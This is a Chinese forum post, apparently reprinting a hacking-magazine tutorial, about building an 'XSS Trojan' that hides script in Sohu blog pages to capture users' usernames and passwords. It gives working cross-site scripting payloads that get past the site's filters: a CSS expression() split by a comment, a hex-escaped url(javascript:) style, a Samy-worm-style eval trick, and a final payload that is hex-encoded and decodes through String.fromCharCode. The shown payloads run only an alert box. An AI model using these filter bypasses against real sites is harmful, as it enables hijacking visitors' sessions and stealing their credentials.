- 论坛徽章:
- 0
|
在黑防上给大家介绍Ajax Hacking技术有几期了,但一直没有实践过。这次给大家带来的就是一次实战的分析问题和解决问题的过程,而且是一个通用的打造“XSS Trojan”的全过程。由于这个过程也是藏在后台获取和发送用户信息的,和木马极为相似,所以文章的名字才叫XSS Trojan,但和网页木马是两码事哦!本来是准备给大家介绍怎样做XSS Worm的,可是因为起稿时是以Sohu博客做实战的,在数据提交时出现了问题,所以这里仅会简单地介绍一下它的思路,而在此之上,我们会一起去做这个记录用户名和密码的“木马脚本”(某些网站甚至可以不用脚本哦!)。\r\n\r\nXSS漏洞利用方式\r\n在Sohu的博客里,我发现的并且可以利用的XSS点有“个人档案”区(因为用户自建版块的性质和其相同,所以归为一类)和“文章发布”区。它们都没有过滤Style(层叠样式表)的注释信息,使得通过注释绕过的特殊脚本字符插入得以实现,利用方式如下:\r\n\r\n<img style=\"xss:expr/*XSS*/ession(alert(\'xss\'))\" />\r\n\r\n其中,“xss”这个属性可以随意拟定,改成“width”或“height”什么的都没有关系;“/*XSS*/”为注释的内容,内容也可以随意指定;但是在注释两边的字符除了左右位置可以改变,具体的值是不能改变的,因为它们连起来正是我曾经提到过的三个特殊的引起事件的标志之一——“expression”,由于IE会忽略掉样式表中的注释,从而使得我们的XSS脚本代码可以顺利执行。\r\n\r\n不过,这样的代码在“个人档案”里可以执行,但在“文章发布”里却会被二次过滤(即在转向文章页面的客户端加载的时候会被过滤掉);而且由于expression是不间断地加载的,所以会使电脑的CPU占用率很高(大家可以打开资源管理器,在有“expression”的网页上快速移动鼠标,就会看到CPU占用率迅速飙升);并且“expression”是IE的专利,在Firefox下是不支持的,这使我们不能编写通用的XSS脚本。所以,我们要采取另一种插入跨站方式——编码,Sohu博客对于脚本编码没有过滤的是16进制的Java式编码,利用方式如下:\r\n\r\n- <DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028\\006A\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\\r\n\r\n0070\\0074\\003A\\0061\\006C\\0065\\0072\\0074\\0028\\0027\\0058\\\r\n\r\n0053\\0053\\0027\\0029\\0029\">
复制代码 \r\n\r\n转码之前的代码为:\r\n\r\n- <DIV STYLE=\"background-image:url(javascript:alert(\'XSS\')) \">
复制代码 \r\n\r\n但是由于“javascript:”对于复杂的复合式脚本代码显得力不从心,所以我们不得不对代码进行一些改进。Samy(著名的Myspace Worm)采取的方法是把执行代码写进标签另一属性里,并通过Document对象调用,使用Eval执行,比如下面的代码。\r\n\r\n<div id=\"mycode\" expr=\"alert(\'xss\')\" style=\"background:url(\'javascript:eval(document.all.mycode.expr)\')\">\r\n\r\n但是由于Sohu博客禁止除Style以外的属性,所以这种方式对我们不适用,我们只能直接把代码写进Eval里。但此时利用代码仍没有完成——由于我们对Style属性用了双引号,对UEL用了单引号,因此在Eval这个函数里就不能再有引号了,否则就会混淆。Samy的方法是对单引号和双引号进行相应转换:\r\n\r\n- var B=String.fromCharCode(34);var A=String.fromCharCode(39);
复制代码 \r\n\r\n//34为双引号十进制,39为单引号十进制\r\n\r\n但我们这里事实上在Eval本身时就已经没有引号可用了,更别提语句里面的,所以这个方法无效。我所采取地是把整个XSS代码全部转换为十进制,然后用String.fromCharCode解码,用Eval执行。这样,内部代码可以随意用单引号,而不会影响代码本身,所以测试字符转换如下:\r\n\r\n- <DIV STYLE=\"background-image:url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59))) \">
复制代码 \r\n\r\n再加上上面的16进制编码,完整的利用方式如下:\r\n\r\n- <DIV STYLE=\"background-image: \\0075\\0072\\006c\\\r\n\r\n0028\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0065\\\r\n\r\n0076\\0061\\006c\\0028\\0053\\0074\\0072\\0069\\006e\\0067\\002e\\0066\\\r\n\r\n0072\\006f\\006d\\0043\\0068\\0061\\0072\\0043\\006f\\0064\\0065\\0028\\0039\\0037\\\r\n\r\n002c\\0031\\0030\\0038\\002c\\0031\\0030\\0031\\002c\\0031\\0031\\0034\\\r\n\r\n002c\\0031\\0031\\0036\\002c\\0034\\0030\\002c\\0033\\0039\\002c\\0031\\0032\\\r\n\r\n0030\\002c\\0031\\0031\\0035\\002c\\0031\\0031\\0035\\002c\\0033\\0039\\\r\n\r\n002c\\0034\\0031\\002c\\0035\\0039\\0029\\0029\\0029\">
复制代码 |
|